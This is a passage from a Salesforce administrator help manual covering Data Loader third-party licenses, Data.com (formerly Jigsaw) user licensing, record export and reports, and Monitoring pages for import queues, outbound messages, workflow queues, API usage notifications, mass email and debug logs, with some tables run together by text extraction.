The following third-party licenses are included with the installation of Data Loader: Technology Apache Jakarta Commons BeanUtils Apache Commons Collections Apache Commons Database Connection Pooling (DBCP) Apache Commons Logging Version Number 1.6 3.1 1.2.1 1.0.3 License http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-1.1 http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-2.0 http://www.eclipse.org/legal/epl-v10.html http://www.opensymphony.com/quartz/license.action http://www.mozilla.org/MPL/MPL-1.1.txt http://www.apache.org/licenses/LICENSE-2.0.txt

Apache Commons Object Pooling 1.2 Library Apache Log4j Eclipse SWT 1.2.8 3.452

OpenSymphony Quartz Enterprise 1.5.1 Job Scheduler Rhino JavaScript for Java Spring Framework 1.6R2 1.2.6

Note: Salesforce.com is not responsible for the availability or content of third-party websites.

Force.com ConnectOracle
Available for an additional cost in: Enterprise and Unlimited Editions

Force.com ConnectOracle is a lightweight, easy to implement, packaged integration solution for Salesforce and Oracle e-Business Suite 11i. It enables synchronization of account information between Salesforce and an Oracle e_BusinessSuite 11i back-office system, while significantly reducing the time, expense, and effort required to integrate the two systems. ConnectOracle provides several benefits to enterprise customers, including: Fast and simple customer data integration, using a pre-built customer-master template which addresses end-to-end integration between Salesforce and Oracle e_Business Suite 11i, thus accelerating the customer data integration process Bidirectional synchronization of account information between Salesforce and Oracle e-Business Suite 11i Access to front- and back-office enterprise customer data in Salesforce, enabling better, faster decisions with information transparency

817

Data.com (Formerly Jigsaw) Administration

Force.com ConnectSAP

Note: Contact salesforce.com to learn more about purchasing and using ConnectOracle.

If ConnectOracle is enabled for your organization, you can download it via Your Name > Setup > Data Management > ConnectOracle.

See Also:
Force.com ConnectSAP

Force.com ConnectSAP
Available for an additional cost in: Enterprise and Unlimited Editions Force.com ConnectSAP is a lightweight, easy to implement, packaged integration solution for Salesforce and SAP R/3 that delivers an integrated and consistent view of relevant customer data in both systems. It enables synchronization of account information between Salesforce and SAP R/3, while significantly reducing the time, expense, and effort required to integrate the two systems. ConnectSAP is a lightweight Java application that is deployed on premise, local to the SAP R/3 system. Note: Contact salesforce.com to learn more about purchasing and using ConnectSAP.

If ConnectSAP is enabled for your organization, you can download it via Your Name > Setup > Data Management > ConnectSAP.

DATA.COM (FORMERLY JIGSAW) ADMINISTRATION


Data.com Overview
Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

Watch a Demo (3:19 minutes) Data.com is a leading provider of business information and data services that leverages crowd-sourced content contributed by its global business-to-business community of over 1.6 million members. Data.com has over 24 million up-to-date business contacts. Contacts come from Jigsaw, and accounts come from Dun & Bradstreet. Note: Prior to the Winter '12 release of Salesforce, Data.com was known as Jigsaw or Jigsaw.com.

818

Data.com (Formerly Jigsaw) Administration

Implementing Data.com

Within Salesforce, you can search for Data.com accounts and contacts, and if you have a Data.com license, you can add them to Salesforce. You can add your contact search results as either contacts or leads. It's remarkably easy to find the accounts and contacts you need, and using Data.com is a great way to quickly expand your sales network. Go to the Data.com tab to search for accounts. Generate a broad list based on criteria like company name, industry, and location. Then use filters to narrow your results based on number of employees, revenue, and more. Need contacts? Get them for a specific account, starting from the account record. Your search automatically includes the company's website, but you can add criteria like name or email, location, and more on the Data.com tab. Filters like Department and Title make it easy to narrow your results and get a list you can work. Use phone or email to make connections right away, or add the records to Salesforce as contacts or leads. Want to analyze the impact of Data.com data on your business? Use the Jigsaw Reports AppExchange package. It offers eight preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue. To maintain the accuracy of your CRM records in Salesforce, use Data.com's Clean feature. It works on all your Salesforce account, contact, and lead recordsadded from Data.com or not. To get Data.com Clean: If you're a new Data.com user, download and install the Data.com for Salesforce AppExchange package and configure Salesforce to use its clean features. If you're already using the Data.com for Salesforce AppExchange package, you may need to reconfigure it for use with Data.com in Salesforce.

Data.com Clean is available in Developer, Enterprise, Professional, and Unlimited editions.

See Also:
Finding and Adding Accounts from Data.com Finding and Adding Contacts from Data.com Adding Data.com Contacts as Leads

Implementing Data.com
Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To implement Data.com: To enable Data.com users: Customize Application Manage Users

Implementing Data.com is easy. Here's what you need to know. The free version of Data.com provides Data.com data to all users. Users can find the Data.com tab on the All Tabs page, or you can add it for them. With the free version, users can search for unlimited Data.com accounts and contacts. Free version users can't see phone and email information for contacts, and they can't add records to Salesforce. To take full advantage of Data.coms data, your organization needs to purchase Data.com licenses and set up the feature.

819

Data.com (Formerly Jigsaw) Administration

Setting Up Data.com Users

To implement Data.com, you need to: Understand Data.com licenses and limits Enable users for Data.com, assign type for each user, and assign record addition limits Add the Data.com tab to user profiles Add the Get Contacts button to your accounts page layouts Install and set up the Clean features in Data.com for Salesforce Install the Data.com Reports AppExchange package Important: Follow these best practices for your Data.com implementation. If a user adds more than 200 leads to Salesforce at one time, any lead assignment rules your organization uses won't run. To make sure your lead assignment rules run, instruct your users to limit their additions to fewer than 200 leads at any time. If your organization uses validation rules on fields that are mapped to Data.com, either deactivate the rules or make sure they match Data.com field names to avoid errors when you add records. For example, if you have a validation rule for the contact object's Home Phone field, you should create a custom field called Phone on the contact object and use that field with your validation rule because the Data.com field is Phone.

See Also:
Data.com Overview Defining Validation Rules

Setting Up Data.com Users


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To implement Data.com: To enable Data.com users: Customize Application Manage Users

The All Data.com Users page shows all users, grouped by user type: Data.com User and Data.com List User. Data.com Users get a limited number of records to add per month, and their unused additions expire at the end of each month. For each Data.com User, you can see the monthly limit and number of records added during the month. Data.com List users share contact and lead record additions from a pool, and their additions never expire. You can see the organization's limit, and the number of records each Data.com List User has added.

Enable each Data.com user on his or her User Edit page. 1. Click Your Name > Setup > Manage Users > Users, then click Edit next to the name of the user you want to enable. 2. In the Data.com User Type drop-down, select the user type. 3. For Data.com users, in the Monthly Contact and Lead Limit drop-down, select the number of contact and lead records the user can add each month. You can select up to the organization limit for any user or all users, but once the organization's monthly limit is reached, users won't be able to add more records.

820

Data.com (Formerly Jigsaw) Administration

Understanding Data.com User Types, Licenses, and Limits

For example, if your organization's monthly addition limit is 3000 records, you might assign one user a monthly addition limit of 500 records, another user a limit of 1,000 records, and another user the organization limit (in this case 3,000 records). If the second user adds all 1,000 of his records right away, the third user will only be able to add up to 2,000 records, and depending on how many the third user adds, the first user may not be able to add any records. Tip: You can find your organization's monthly organization addition limit on the Data.com Licenses & Limits page. Click Your Name > Setup > Data.com Administration > Data.com > Licenses & Limits. 4. Click Save to save the current record, or Save and New if you want to enable other users for Data.com.

See Also:
Understanding Data.com User Types, Licenses, and Limits

Understanding Data.com User Types, Licenses, and Limits


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

The Data.com Licenses & Limits page identifies the number of user licenses you have and the limits per user and for your organization. Limits are listed by user type: Data.com User and Data.com List User. Assign monthly record additions for each user on their User Edit page.

Data.com Licenses
Data.com user licenses let users search Data.com for accounts and contacts, and add them as records to Salesforce. Users can also add contacts as leads. Field
Number of Licenses Assigned

Definition The total number of user licenses your organization has purchased from Salesforce. The number of Data.com user licenses you've assigned. A single Data.com license is assigned every time you enable a user for Data.com. Tip: To see which users have been enabled, check the All Data.com Users page. Click Your Name > Setup > Data.com Administration > Data.com > Users.

Data.com User Limits (Monthly)


Data.com Users get a limited number of records to add per month, and their unused additions expire at the end of each month. For each Data.com User, you can see the monthly limit and number of records added during the month.

821

Data.com (Formerly Jigsaw) Administration

Understanding Data.com User Types, Licenses, and Limits

Field
Default Per-User Record Limit

Definition The number of records a single Data.com user license allows. The default number of records per license is 300, but it can be adjusted based on your agreement. Additions expire at the end of each month, as determined by your organization's default time zone.

Organization Limit

The total number of records your organization can add each month. This limit is calculated by multiplying the number of Data.com user licenses you have by the monthly limit per user license. Typically, you distribute record limits among a number of users within your organization, but you can also assign them all to a single user.

(month) Balance

The number of records Data.com users can still add during the current month. The balance is updated every time a user adds records to Salesforce. Additions expire at the end of each month, as determined by your organization's default time zone. Tip: To see how many records each user has added, check the All Data.com Users page. Click Your Name > Setup > Data.com Administration > Data.com > Users.

Here's an example of how an organization manages Data.com User licenses and limits. The sales division of Universal Telco has 14 sales reps, and they purchase 20 Data.com licenses, each of which has a record addition limit of 300. This means that Data.com Users within the organization can add as many as 6,000 records per month. The Universal Telco administrator distributes the Data.com Users' monthly record addition limits as follows. Ten of the sales reps have limits of 300 each. Two of the sales reps have limits of 500 each. Two of the sales reps have a limit of 1,000 each.

Data.com List User Limits


Data.com List users share contact and lead record additions from a pool, and their additions never expire. You can see the organization's limit, and the number of records each Data.com List User has added. Field
Pool Record Limit

Definition The total number of records your organization's Data.com List Users can add. All Data.com List users share this limit, so if one Data.com List user reaches the limit, other users of that type will not be able to add records. This limit does not expire.

822

Data.com (Formerly Jigsaw) Administration

Implementing Clean Features from Jigsaw for Salesforce

Field
Balance

Definition The number of records Data.com List users can still add. The balance is updated every time a user adds records to Salesforce. Tip: To see how many records each user has added, check the All Data.com Data.com Users page. Click Your Name > Setup > Data.com Administration > Data.com > Users.

Here's an example of how an organization manages Data.com List User licenses and limits. The marketing division of Universal Telco has four marketing reps. Each rep has a Data.com license and each is a Data.com List user. Universal Telco purchases a record addition pool of 5,000 records. This means that together, all four marketing reps can add 5,000 records. One rep might add 2500 records, leaving 2500 to be added by one or more of the other three users.

See Also:
Setting Up Data.com Users

Implementing Clean Features from Jigsaw for Salesforce


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed To implement Jigsaw Clean: Customize Application

If you're using Data.com in Salesforce and need to get automated updates for your account, contact, and lead records, use the Clean features from the AppExchange package called Jigsaw for Salesforce. For complete instructions, see Implementing Data.com Clean for Accounts, Contacts, and Leads.

Configuring Jigsaw for Salesforce to Support Salesforce Data.com Features

823

Data.com (Formerly Jigsaw) Administration

Configuring Jigsaw for Salesforce to Support Salesforce Data.com Features

Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed To configure the Jigsaw for Salesforce AppExchange package: Customize Application

If you're already using the Jigsaw for Salesforce AppExchange package, you have its Clean features as well as the ability to search for and add contacts. To access the functionality in the Winter '12 release, you need to go through an upgrade process. You should contact Data.com Support or your customer success manager (CSM) to discuss this new license.

Installing the Jigsaw Reports AppExchange Package


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To install packages: Download AppExchange Packages

The Jigsaw Reports AppExchange package offers eight preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to instantly see the impact of Data.com data on your leads, forecast, and revenue. Important: This package is intended only for customers who do not already have the Jigsaw Clean base package installed, because these reports are also found in the Jigsaw Clean package. This table describes each report. Report Forecast for Jigsaw-Sourced Opps No. Contacts from Jigsaw No. Converted Leads from Jigsaw No. Leads from Jigsaw Percentage Converted Leads from Jigsaw Percentage Sales Forecast from Jigsaw Percentage Sales Revenue from Jigsaw Description What is the sales forecast from open opportunities with data added from Data.com? How many contacts have been added from Data.com? Grouped by date and creator. How many converted leads were sourced from Data.com? How many leads have been added from Data.com? Grouped by date and creator. What percentage of converted leads were sourced from Data.com? What percentage of my sales forecast comes from records imported from Data.com? What percentage of my sales revenue came from records imported from Data.com?

824

Data.com (Formerly Jigsaw) Administration

Using Jigsaw Reports and Dashboards

Report Revenue from Jigsaw-Sourced Opps

Description What is the sales revenue amount from closed-won opportunities with data added from Data.com?

1. To install Jigsaw Reports, follow the instructions in Installing a Package. In AppExchange, search for Jigsaw Reports. 2. Let your users know that the Jigsaw reports and dashboards are available.

See Also:
Using Jigsaw Reports and Dashboards

Using Jigsaw Reports and Dashboards


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To run Data.com reports: Run reports

The Jigsaw Reports AppExchange package offers eight preconfigured reports and a corresponding impact dashboard. Use these tools to instantly see the impact of Data.com data on your leads, forecast, and revenue. This table describes each report. Report Forecast for Jigsaw-Sourced Opps No. Contacts from Jigsaw No. Converted Leads from Jigsaw No. Leads from Jigsaw Percentage Converted Leads from Jigsaw Percentage Sales Forecast from Jigsaw Percentage Sales Revenue from Jigsaw Revenue from Jigsaw-Sourced Opps Description What is the sales forecast from open opportunities with data added from Data.com? How many contacts have been added from Data.com? Grouped by date and creator. How many converted leads were sourced from Data.com? How many leads have been added from Data.com? Grouped by date and creator. What percentage of converted leads were sourced from Data.com? What percentage of my sales forecast comes from records imported from Data.com? What percentage of my sales revenue came from records imported from Data.com? What is the sales revenue amount from closed-won opportunities with data added from Data.com?

To run any Jigsaw report, just click the Reports tab, expand the Jigsaw list, and select the one you want.

825

Data.com (Formerly Jigsaw) Administration

Exporting Data.com Account Records

To view Jigsaw reports as dashboards, just click the Dashboards tab. In the View Dashboards drop-down, under Jigsaw, select Jigsaw Impact.

See Also:
Data.com Fields and Filters

Exporting Data.com Account Records


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To export Data.com accounts records: Read on accounts

If you want to work with Data.com account records in other programs, you can export them from your search results on the Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program that supports .csv format. Be aware of these requirements and restrictions when exporting records sourced from Data.com. If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously exported, the exported records don't count against your monthly record addition limit. If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented from importing those contacts back into Salesforce as contacts. You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly record addition limit, you can't export any records. Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000 records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel and refine your list.

The account fields that are exported are:


Jigsaw (the account's Jigsaw ID) Name Website Phone BillingStreet BillingCity BillingState BillingPostalCode BillingCountry Industry NumberOfEmployees AnnualRevenue Ownership

826

Data.com (Formerly Jigsaw) Administration

Exporting Data.com Contact Records

TickerSymbol

1. Start from a list of Data.com account search results. 2. Export all accounts or a selection. To export all accounts, click Export Results and choose All. To export selected accounts, select the ones you want, then click Export Results and choose Selected.

A dialog box appears. It identifies the default name of the export file: DataDotCom_Accounts.csv. 3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version. Click Save As to rename it. You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using the Data.com ID number from the Data.com field.

See Also:
Data.com Fields and Filters Using Jigsaw Reports and Dashboards Data Loader Overview Finding and Adding Accounts from Data.com Data.com Fields and Filters

Exporting Data.com Contact Records


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To export contacts: Read on contacts

If you want to work with Data.com contact records in other programs, you can export them from your search results on the Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program that supports .csv format. Be aware of these requirements and restrictions when exporting records sourced from Data.com. If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously exported, the exported records don't count against your monthly record addition limit. If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented from importing those contacts back into Salesforce as contacts. You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly record addition limit, you can't export any records. Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000 records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel and refine your list.

827

Monitoring

Exporting Data.com Contact Records

The contact fields that are exported are:


Jigsaw (the contact's Jigsaw ID) FirstName LastName Title Phone Email MailingStreet MailingCity MailingState MailingPostalCode MailingCountry AccountName NumberofEmployees AnnualRevenue

1. Start from a list of Data.com contact search results. 2. Export all contacts or a selection. To export all contacts, click Export Results and choose All. To export selected contacts, select the ones you want, then click Export Results and choose Selected.

A dialog box appears. It identifies the default name of the export file: DataDotCom_Contacts.csv. 3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version. Click Save As to rename it. You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using the Data.com ID number from the Data.com field. These records won't be imported from the Data Loader. Any record that has the same Data.com ID (from the Data.com field) as another record within the .csv file. Any record that has the same Data.com ID (from the Data.com field) as a record already in Salesforce.

See Also:
Data.com Fields and Filters Data Loader Overview Finding Data.com Contacts from the Data.com Tab Getting Data.com Contacts from an Account Data.com Fields and Filters

MONITORING
Using the Import Queue
828

Monitoring

Using the Import Queue

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Import Queue: Modify All Data

Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details are removed from the queue three days after completion. 1. Click Your Name > Setup > Monitoring > Imports. 2. Select the file name of the import file to see the Import Queue Detail page for that file. If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has started processing. The possible values of the Status column are listed below: Status Aborted Description The import did not complete successfully. The error details are emailed to the user who performed the import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the import cannot remain in the queue for more than 30 days from the original import attempt. The import completed successfully without errors. The import was processed and errors were encountered. The error details are emailed to the user who performed the import. The user can fix the errors, and then attempt the import again. The import is in the queue but has not started processing yet. The import is in the queue and is currently being processed.

Completed Error Pending Processing

See Also:
Importing Overview

Tracking Outbound Message Delivery Status

829

Monitoring

Tracking Outbound Message Delivery Status

Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals and Milestone Actions are not available in Database.com

User Permissions Needed To track outbound messages: Modify All Data

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. To track the status of an outbound message, click Your Name > Setup > Monitoring > Outbound Messages. Alternatively, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages, and then click View Message Delivery Status. Here you can view the status of your outbound messages: The Next items for delivery related list contains all outbound messages that are awaiting delivery. The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not been delivered and are not 24 hours old). The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures to failed outbound message related list. For more information, see Defining Outbound Messages on page 1662. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com representative.

You can perform several tasks here: Click Refresh to refresh the list. Click any workflow or approval process action ID to view the action that triggered it. Click Retry to change the Next Attempt date to now. This causes the message delivery to be immediately retried. If you select Retry in the Failed outbound messages related list, the outbound message moves to the Next items for delivery related list and is retried for another 24 hours. Click Del to permanently remove the outbound message from the queue. Note: If you do not have these options, your organization does not have outbound messages enabled. Contact salesforce.com to enable outbound messages for your organization.

See Also:
Managing Outbound Messages Managing Workflow and Approvals

Monitoring the Workflow Queue

830

Monitoring

Monitoring the Workflow Queue

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To manage the workflow queue: Modify All Data

When Salesforce triggers a workflow rule that has time-dependent actions, use the workflow queue to view pending actions and cancel them if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Time-Based Workflow. 2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Workflow Rule Name The name of the workflow rule. Object The standard or custom object that triggered the workflow rule. Enter the object name in the singular form such as opportunity. Scheduled Date The date the pending actions are scheduled to occur. Create Date The date the record that triggered the workflow was created. Created By The user who created the record that triggered the workflow rule. Record Name The name of the record that triggered the workflow rule. The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2645. To optionally cancel pending actions: 1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete. Salesforce cancels the pending action.

See Also:
Managing Workflow Rules Creating Workflow Rules Time-Dependent Action and Time Trigger Considerations Administrator tip sheet: Workflow: Automating The Process

831

Monitoring

Monitoring the Entitlement Process Queue

Monitoring the Entitlement Process Queue


Available in: Enterprise, Unlimited, and Developer and Editions

User Permissions Needed To manage the entitlement process queue: Modify All Data

When Salesforce triggers an entitlement process that has time-dependent milestone actions, use the entitlement process queue to view pending actions and cancel them, if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Entitlement Processes. 2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Entitlement Process Name The entitlement process. Case Number The case's automatically generated identifying number. Milestone Name The milestone that triggered the action. Evaluation Date The date the evaluated actions are scheduled to occur. Created Date The creation date of the case that triggered the entitlement process. Username The user who updated the case to trigger an entitlement process. The filter is not case-sensitive. See Entering Filter Criteria on page 2645. To cancel pending actions: 1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete.

See Also:
Entitlement Management Overview

832

Monitoring

Monitoring the Case Escalation Rule Queue

Monitoring the Case Escalation Rule Queue


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage the case escalation rule queue: Modify All Data

When Salesforce triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view pending actions and cancel them if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Case Escalations. 2. Click Search to view all pending actions for any active case escalation rule, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Case To Escalate The Case Number of the escalated case. The Case Number is a unique, automatically generated number used for identifying the case. Escalation Rule The name of the rule used to escalate the case. Rule Entry The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation rule is processed. Each escalation rule can have a maximum of 3000 rule entries. Escalation Action The time criteria specified for the case to escalate as defined in the rule entry. Ignore Business Hours Indicates if the Ignore Business Hours checkbox is selected on the rule entry, meaning that the rule entry is in effect at all times and ignores your organization's business hours. Escalate At The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the time zone of the user viewing the escalation rule queue. Added Date The date and time at which the case was added to the queue. Dates and times display in the time zone of the user viewing the escalation rule queue. The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2645. To cancel pending actions:

833

Monitoring

About API Usage Notifications

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete. Salesforce cancels the pending action.

See Also:
Creating Escalation Rules Viewing and Editing Escalation Rules

About API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view, create, edit, or delete notifications: API Enabled

When you create a request usage notification, you specify an administrator to receive an email notification whenever your organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information on API request limits, see Force.com API Usage Limits on page 1981. To view existing API usage notifications, click Your Name > Setup > Monitoring > API Usage Notifications. From the notifications list, you can do any of the following: Click Edit or Del to edit or delete an existing notification. View the name of the user who will receive the notification. View the notification interval, which defines the frequency at which the notifications are sent. For example, if the notification interval is four hours, a notification will be sent only if the last notification was sent at least four hours ago. Thus, during a 24-hour period, a maximum of six notifications will be sent. View the percent of the limit which, if exceeded, triggers a notification to be sent. For example, if your organization has a limit of 1,000,000 requests, and you set a threshold percentage of 60 (60%) and a notification interval of 24 hours, when 600,000 API requests have been sent in a 24-hour period, the specified user receives a notification. View the name of the user who created the notification and when the notification was created, as well as the last time the notification was modified, and the name of the user who made the modification. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. Additional items are available for display, including the limit ID. To edit or delete any view you created, select it from the View drop-down list and click Edit.

To create a new notification, click New.

834

Monitoring

Viewing API Usage Notifications

You can create up to ten notifications per organization.

See Also:
Creating and Editing API Usage Notifications Viewing API Usage Notifications Documentation Resources for Force.com Developers

Viewing API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view, create, edit, or delete notifications: API Enabled

On the API usage notifications detail page, you can view information about a notification: Notification RecipientThe username for the person to whom the email notification is sent. ThresholdThe percent of the usage limit that, when reached, triggers an email notification. Notification Interval (Hours)The frequency at which the notifications are sent. For example, if the notification interval is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24-hour period, a maximum of six notifications will be sent. Created ByThe user who created the notification request, and the time it was created. Modified ByThe user who last edited the notification.

On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to create a new notification with the current values populated in the new notification. You can edit the values before saving.

See Also:
About API Usage Notifications Creating and Editing API Usage Notifications Force.com API Usage Limits Documentation Resources for Force.com Developers

Creating and Editing API Usage Notifications

835

Monitoring

Creating and Editing API Usage Notifications

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view, create, edit, or delete notifications: API Enabled

On the API usage metering edit page accessible via Your Name > Setup > Monitoring > API Usage Notifications, you can supply the required values for a rate-limiting notification: The Salesforce user who will receive the notifications. The threshold percentagethe percentage of the rate limit that, once exceeded in the specified notification interval, triggers a notification to be sent to the specified user. Value must be between 0 and 100. The time period for which the number of requests is measured, in hours. For example, if the interval is 24, the rate must be exceeded in the past 24 hours for a notification to be sent. If you change the time period, the new time period does not take effect until after the next notification of the existing time period. For example, assume you have set the time period to send notifications every hour. Then at 4:05 p.m., you set the time period to send notifications every 24 hours. A last notification from the old time period is sent at 5:00 p.m.. The next notification would be sent at 5:00 p.m. the next day.

See Also:
About API Usage Notifications Viewing API Usage Notifications Force.com API Usage Limits Documentation Resources for Force.com Developers

Monitoring the Mass Email Queue


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To view your mass email or cancel your pending mass email: Mass Email To view all mass email or cancel pending mass email in your Modify All Data organization:

Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary. To view the mass emails you have scheduled, click Your Name > Setup > Email > My Mass Emails. If you have permission to view all mass emails in your organization, click Your Name > Setup > Monitoring > Mass Email. From these pages, you can:

836

Monitoring

Monitoring Debug Logs

Click Cancel to cancel a pending mass email. Click Stop to stop a mass email that Salesforce is in the process of sending. Click Del to delete the record of a sent or canceled mass email from the queue. Click the name of the mass email to view details about an individual mass email.

The mass email queue shows the number of recipients that the mass email was addressed to and sent to. These numbers may differ because: The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message to any of the intended recipients in this case. One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was processed. One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled but before it was processed. The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce does not send mass emails scheduled by a user who is deactivated.

See Also:
Sending Mass Email

Monitoring Debug Logs


Available in Enterprise, Developer, Unlimited, and Database.com Editions The Salesforce user interface and Email Services are not available in Database.com.

User Permissions Needed To view, retain, and delete debug logs: Manage Users

You can retain and manage the debug logs for specific users. Transactions can be generated from the following: Salesforce user interface API executeanonymous calls Web services Email services

To view saved debug logs, click Your Name > Setup > Monitoring > Debug Logs. From this page, click New to specify a user that you want to retain debug logs for. After you have specified a user or users to retain debug logs for, you can: Click Delete to stop retaining debug logs for a specific user.

837

Monitoring

Monitoring Debug Logs

Click Reset to reset the number of debug logs for a particular user. Click Filters to specify what gets logged for that user, as well as the amount of information. See Setting Debug Log Filters.

After you have started retaining debug logs, you can: Click View to view a specific log's details. Click Download to download the debug log as an XML file.

See Also:
Apex Code Overview What is a Debug Log? Retaining Debug Logs Viewing Debug Logs Setting Debug Log Filters About Apex Unit Tests Developer's Guide: Force.com Apex Code Developer's Guide

Retaining Debug Logs


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To view, retain, and delete debug logs: Manage Users

You can retain and manage the debug logs for specific users. The following are the limits for debug logs: Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any existing logs are not overwritten. Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated. See Debug Log Truncation. Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the oldest debug logs start being overwritten.

To specify that a user should have his or her debug logs retained: 1. Click Your Name > Setup > Monitoring > Debug Logs, then click New. 2. Click the checkbox next to the user or users for whom you want to retain debug logs. Only users with a checkbox next to their names don't currently have their debug logs retained.

838

Monitoring

Monitoring Debug Logs

3. Click Save.

See Also:
What is a Debug Log? Monitoring Debug Logs Viewing Debug Logs Setting Debug Log Filters Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Debug Logs


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Force.com Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: View All Data Author Apex Author Apex

You can retain and manage the debug logs for specific users. To view the details of a debug log, click Your Name > Setup > Monitoring > Debug Logs, and then click View next to the debug log you want to examine. Click Download to download the log as an XML file. The debug log contains information about the transaction, such as if it was successful, the size of the log (in bytes), how long the transaction took in milliseconds, and so on. The log itself contains additional information about the transaction, depending on the filters set for the user. Debug Log Details After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However, the format for a debug log is always the same. A debug log has the following sections: Header The header contains the following information: The version of the API used during the transaction. The log category and level used to generate the log. For example:

The following is an example of a header:


22.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO; WORKFLOW,INFO

839

Monitoring

Monitoring Debug Logs

In this example, the API version is 22.0, and the following debug log categories and levels have been set: Apex Code Apex Profiling Callout Database System Validation Visualforce Workflow DEBUG INFO INFO INFO DEBUG INFO INFO INFO

